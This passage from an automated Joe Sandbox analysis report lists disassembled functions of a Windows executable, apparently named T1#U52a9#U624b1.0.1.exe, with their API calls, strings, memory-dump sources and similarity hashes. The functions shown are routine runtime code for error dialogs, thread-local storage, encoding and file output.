GetLastError.KERNEL32(00000000,00000000,00000000,00007FF77B1E7744,?,?,?,?,?,?,?,?,?,?,?,00007FF77B1E101D), ref: 00007FF77B1E2654

Part of subcall function 00007FF77B1E74B0: GetLastError.KERNEL32(00000000,00007FF77B1E26A0), ref: 00007FF77B1E74D7
Part of subcall function 00007FF77B1E74B0: FormatMessageW.KERNEL32(00000000,00007FF77B1E26A0), ref: 00007FF77B1E7506

Part of subcall function 00007FF77B1E7A30: MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

MessageBoxW.USER32 ref: 00007FF77B1E272C
MessageBoxA.USER32 ref: 00007FF77B1E2748

Strings

Fatal error detected, xrefs: 00007FF77B1E2700, 00007FF77B1E273A
%s%s: %s, xrefs: 00007FF77B1E26AD

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: bd2085b38ade222d48c53e4b242a54a19eedc60d0d0276a39b8304b5fd6b5430
Instruction ID: d5b237352355141c3e38bca1e9423b97bcfa45afc0dc85eab7d99699131ac7d3
Opcode Fuzzy Hash: bd2085b38ade222d48c53e4b242a54a19eedc60d0d0276a39b8304b5fd6b5430
Instruction Fuzzy Hash: C231417363968292E630AB54F4517EAA364FB94789FC04036EA8D076ADDF3CD345CB60

Function 00007FF77B1F88E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF77B1F8905
GetProcAddress.KERNEL32 ref: 00007FF77B1F891B
FreeLibrary.KERNEL32 ref: 00007FF77B1F8942

Strings

CorExitProcess, xrefs: 00007FF77B1F8914
mscoree.dll, xrefs: 00007FF77B1F88FC

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 611779d08fafb8db9f6fab045cd04065641a8af0ffd245d6ff06f44facfa83ea
Instruction ID: 6a37ea40e820fcc0f8fb12aae757f27ac72bfcadaaa4c679d14837e667d017cb
Opcode Fuzzy Hash: 611779d08fafb8db9f6fab045cd04065641a8af0ffd245d6ff06f44facfa83ea
Instruction Fuzzy Hash: 8AF04F72B3B60681EA54AB28A8593799320FF8A7A5FD41635C66D456FCCF3CE049C320

Function 00007FF77B2087A4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF77B2087CC
_set_statfp.LIBCMT ref: 00007FF77B2087E7
_set_statfp.LIBCMT ref: 00007FF77B208803
_set_statfp.LIBCMT ref: 00007FF77B20883F

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: c6c4f9cc15ac312ceef9b28f61f749655cc2f4f3fe7e2a3e652440fd85cc4de3
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: BE113777E3EA1B11F694316CE44D3779441EF583A4ED40A34E96A1E6FECE2CAC414361

Function 00007FF77B1FA860 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF77B1F9A73,?,?,00000000,00007FF77B1F9D0E,?,?,?,?,?,00007FF77B1F21EC), ref: 00007FF77B1FA87F
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F9A73,?,?,00000000,00007FF77B1F9D0E,?,?,?,?,?,00007FF77B1F21EC), ref: 00007FF77B1FA89E
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F9A73,?,?,00000000,00007FF77B1F9D0E,?,?,?,?,?,00007FF77B1F21EC), ref: 00007FF77B1FA8C6
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F9A73,?,?,00000000,00007FF77B1F9D0E,?,?,?,?,?,00007FF77B1F21EC), ref: 00007FF77B1FA8D7
FlsSetValue.KERNEL32(?,?,?,00007FF77B1F9A73,?,?,00000000,00007FF77B1F9D0E,?,?,?,?,?,00007FF77B1F21EC), ref: 00007FF77B1FA8E8

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: b230e00eb3a4a963830e94931d1c566e9f2167cfa2cfe95f454d85ffeb99a2ab
Instruction ID: d01e32ecc8f6b8c9799030f6387f00ec42d6a5578bc8eb706082f9636f44c13f
Opcode Fuzzy Hash: b230e00eb3a4a963830e94931d1c566e9f2167cfa2cfe95f454d85ffeb99a2ab
Instruction Fuzzy Hash: 27118E33E3E20249FA58732EB941179D2525F847E8E949634DA3E066EEDE6CF442C220

Function 00007FF77B1FA6F4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F), ref: 00007FF77B1FA705
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F), ref: 00007FF77B1FA724
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F), ref: 00007FF77B1FA74C
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F), ref: 00007FF77B1FA75D
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF77B202433,?,?,?,00007FF77B1FCB8C,?,?,00000000,00007FF77B1F3A5F), ref: 00007FF77B1FA76E

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 2ba98259ac8f671f7b11ef4b4b97e12d4d2c3255f6215eff0bd660afad52eb11
Instruction ID: c9fa2072e28106e480e145f475c11f522226ee65d1840762a256062e425e0b41
Opcode Fuzzy Hash: 2ba98259ac8f671f7b11ef4b4b97e12d4d2c3255f6215eff0bd660afad52eb11
Instruction Fuzzy Hash: 02113D37A3F20649FE58B22D681147992A20F85778F845734D63E0A2FADD2DB441C271

Function 00007FF77B1FF198 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1FF477

Part of subcall function 00007FF77B205474: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B205491

Strings

UTF-16LEUNICODE, xrefs: 00007FF77B1FF415
UTF-8, xrefs: 00007FF77B1FF3F6
ccs, xrefs: 00007FF77B1FF3B2

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: e657aeb740c2ac826b77e83addb2cc82262a2e6e3b5be7210a8d66ad85871f1f
Instruction ID: d40c0fee2536387fecbcf267987320826eff6954d948d075741a620a71e9f854
Opcode Fuzzy Hash: e657aeb740c2ac826b77e83addb2cc82262a2e6e3b5be7210a8d66ad85871f1f
Instruction Fuzzy Hash: 06818477D3F2038DE764AE2DA1542B8A790AB51B4CFD54031CB09972BDDBACF601D621

Function 00007FF77B1EE108 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF77B1EE154
_CallSETranslator.LIBVCRUNTIME ref: 00007FF77B1EE1A3

Strings

RCC, xrefs: 00007FF77B1EE171
MOC, xrefs: 00007FF77B1EE168

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: e66b2a899b3be21a272ca3efbe1e1fab7eec351de36f73ff2a6cc06a45c4f2b1
Instruction ID: afcb47cc602416619f740ac8d26facda99f31fae38a6df5dcb7098a49317663c
Opcode Fuzzy Hash: e66b2a899b3be21a272ca3efbe1e1fab7eec351de36f73ff2a6cc06a45c4f2b1
Instruction Fuzzy Hash: 21618D33A28B45CAE7549FA9E4403ADB7A0F748B8DF544225EE4D13BA8CB38E195C710

Function 00007FF77B1EE464 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF77B1EE48C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF77B1EE574

Strings

csm, xrefs: 00007FF77B1EE5C6
csm, xrefs: 00007FF77B1EE4AE

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 37bca86698e542f9df3f1c5971c843800452ce466371b2576d682bdca002ed1e
Instruction ID: 490de9fa28548535e22226c8099c064be267c95950700fd42bf19b30b381ca22
Opcode Fuzzy Hash: 37bca86698e542f9df3f1c5971c843800452ce466371b2576d682bdca002ed1e
Instruction Fuzzy Hash: 0651823353864287EAB4AB59F144268B7A0EB54B8EF948135EA4C477ADDF3CE450C720

Function 00007FF77B1E24D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77B1E7A30: MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

MessageBoxW.USER32 ref: 00007FF77B1E25D7
MessageBoxA.USER32 ref: 00007FF77B1E25F3

Strings

Fatal error detected, xrefs: 00007FF77B1E25AB, 00007FF77B1E25E5
%s%s: %s, xrefs: 00007FF77B1E2558

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 1ad8658de8dbd2e7b08889bff9c9537d6e44ae678795f4b96bc9f189f6c45e5f
Instruction ID: 9bdf3c1f33cfdfd098f47369dd43cf4c7e1bae80b8bfa01892b5086452d73351
Opcode Fuzzy Hash: 1ad8658de8dbd2e7b08889bff9c9537d6e44ae678795f4b96bc9f189f6c45e5f
Instruction Fuzzy Hash: 5231207363968292E620BB54F4517EAA365FB84788FC04036EA8D476ADDE3CD345CB60

Function 00007FF77B1E3BA0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF77B1E3699), ref: 00007FF77B1E3BD1

Part of subcall function 00007FF77B1E2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF77B1E7744,?,?,?,?,?,?,?,?,?,?,?,00007FF77B1E101D), ref: 00007FF77B1E2654
Part of subcall function 00007FF77B1E2620: MessageBoxW.USER32 ref: 00007FF77B1E272C

Strings

Failed to get executable path., xrefs: 00007FF77B1E3BDB
GetModuleFileNameW, xrefs: 00007FF77B1E3BE2
Failed to convert executable path to UTF-8., xrefs: 00007FF77B1E3C0A

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: fe87d08da65b513e87772ab3e16eb14927cda1b8744753a26f3e7d7b1799e4b8
Instruction ID: 4c54943eb18eae6085cda9882bad67ec44372b4bd6552c75165513d2a88da2c0
Opcode Fuzzy Hash: fe87d08da65b513e87772ab3e16eb14927cda1b8744753a26f3e7d7b1799e4b8
Instruction Fuzzy Hash: 80018433B3D64282FA61B768F8153B59291AF5C78AFC01036D84E876BEEE5CE1458730

Function 00007FF77B1FBA70 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF77B1FBAEF
WriteFile.KERNEL32 ref: 00007FF77B1FBDB7
WriteFile.KERNEL32 ref: 00007FF77B1FBDFD
GetLastError.KERNEL32 ref: 00007FF77B1FBEB3

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f750311aff661a04a86bbbada4284786bf27b8065a17484a8f486471230e888d
Instruction ID: 49b44db3e8ab3ae7bd0004e0ca2f3d1fc61d7915094fc998d5440e8fe6a1e174
Opcode Fuzzy Hash: f750311aff661a04a86bbbada4284786bf27b8065a17484a8f486471230e888d
Instruction Fuzzy Hash: 5AD1E173B3AA8589E710DF69E4402AD7762FB4479CB844135DF4D97BA9DA38E006C310

Function 00007FF77B1F47D4 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF77B1F4807
GetFileInformationByHandle.KERNEL32 ref: 00007FF77B1F4869
GetLastError.KERNEL32 ref: 00007FF77B1F48FA
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF77B1F470C), ref: 00007FF77B1F4946

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 1c70a69b05d9cb3f6248f84cd75ebf1bef0caf7e7cf88daad42b4853df974b62
Instruction ID: f8a4488a1083cf82e7bfeb37993e2293c9b265d23a40f706bfd49eee60953715
Opcode Fuzzy Hash: 1c70a69b05d9cb3f6248f84cd75ebf1bef0caf7e7cf88daad42b4853df974b62
Instruction Fuzzy Hash: 2C516C33E396418AF710EFA8A4507BDA2A1BB48758FA04134DB4D5766DDF38E441C320

Function 00007FF77B1E1F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF77B1E1FA4
SetWindowLongPtrW.USER32 ref: 00007FF77B1E1FC6
GetWindowLongPtrW.USER32 ref: 00007FF77B1E1FF0
InvalidateRect.USER32 ref: 00007FF77B1E2010

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction ID: 49eb2cad5e07a497c635241d65a2335a7685466b7b3f0fc433e1a8432e2f8e3e
Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction Fuzzy Hash: A011C033E3814343F654BB9DF5442B99292EF89B85FD54031EA4907BADCE3CD8D54260

Function 00007FF77B204D3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77B2008A0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B2008D3

_get_daylight.LIBCMT ref: 00007FF77B204E54
_get_daylight.LIBCMT ref: 00007FF77B204E65

Strings

?, xrefs: 00007FF77B204DE5

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: c6b54485bead06bc5539c244e4ab75d05ddcaebff17989ae90453d9827129cd1
Instruction ID: 42952e5d27d548508b2ad335f8d7b5a6ab9eaa7ed87d82f0090092cd3df12994
Opcode Fuzzy Hash: c6b54485bead06bc5539c244e4ab75d05ddcaebff17989ae90453d9827129cd1
Instruction Fuzzy Hash: 62410A33A3928255FB24AB29A40137AD6B0EB917A4F948235EF6C06AFDDE3CD451C710

Function 00007FF77B1F7E6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F7E9E

Part of subcall function 00007FF77B1F9E18: RtlFreeHeap.NTDLL(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E2E
Part of subcall function 00007FF77B1F9E18: GetLastError.KERNEL32(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E38

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF77B1EB105), ref: 00007FF77B1F7EBC

Strings

C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe, xrefs: 00007FF77B1F7EAA

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe
API String ID: 3580290477-3130841589
Opcode ID: 3943842da798c31a181edbdfd7e827be925f8530d91395b67a93139410b16115
Instruction ID: 31a4b497b8746d973a1b01d1c6a1b50238082e1932fd80256f49c6c4383eb4a5
Opcode Fuzzy Hash: 3943842da798c31a181edbdfd7e827be925f8530d91395b67a93139410b16115
Instruction Fuzzy Hash: C8414F33A3AA5289E714BF29A8500F8A795EF447C8B954035FA4E43B69DF3CE491C360

Function 00007FF77B1FC108 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF77B1FC21F
GetLastError.KERNEL32 ref: 00007FF77B1FC241

Strings

U, xrefs: 00007FF77B1FC1CB

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
